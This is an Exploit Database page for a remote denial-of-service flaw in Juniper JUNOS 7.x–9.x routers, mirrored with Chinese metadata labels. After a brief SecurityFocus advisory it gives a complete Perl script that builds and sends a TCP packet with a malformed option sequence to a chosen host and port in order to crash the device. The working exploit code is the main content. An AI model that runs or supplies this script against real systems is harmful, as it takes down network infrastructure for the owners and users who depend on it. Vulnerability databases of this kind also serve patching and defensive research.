Juniper Networks JUNOS 7.1.1 – Malformed TCP Packet Denial of Service / Multiple Vulnerabilities

• Exploit Database
• 102 阅读

• 作者： anonymous
  日期： 2010-01-07
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/33476/
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  source: https://www.securityfocus.com/bid/37670/info   JUNOS is prone to a remote denial-of-service vulnerability that arises when the application handles specially crafted TCP packets.   JUNOS is also prone to six other unspecified security vulnerabilities. These issues may include privilege-escalation or denial-of-service issues.   JUNOS 7.x, 8.x, and 9.x are affected. JUNOS 10.x is not believed to be affected.   #!/usr/bin/perl   my $host =shift; my $port =shift;   use Net::Packet qw($Env);   use Net::Packet::IPv4; my $ip =Net::Packet::IPv4->new(dst => $host);   use Net::Packet::TCP;   my $tcp = Net::Packet::TCP->new( dst => $port, options =>"\x65\x02\x01\x01", );   use Net::Packet::Frame; my $frame = Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);   $frame->send; exit 0;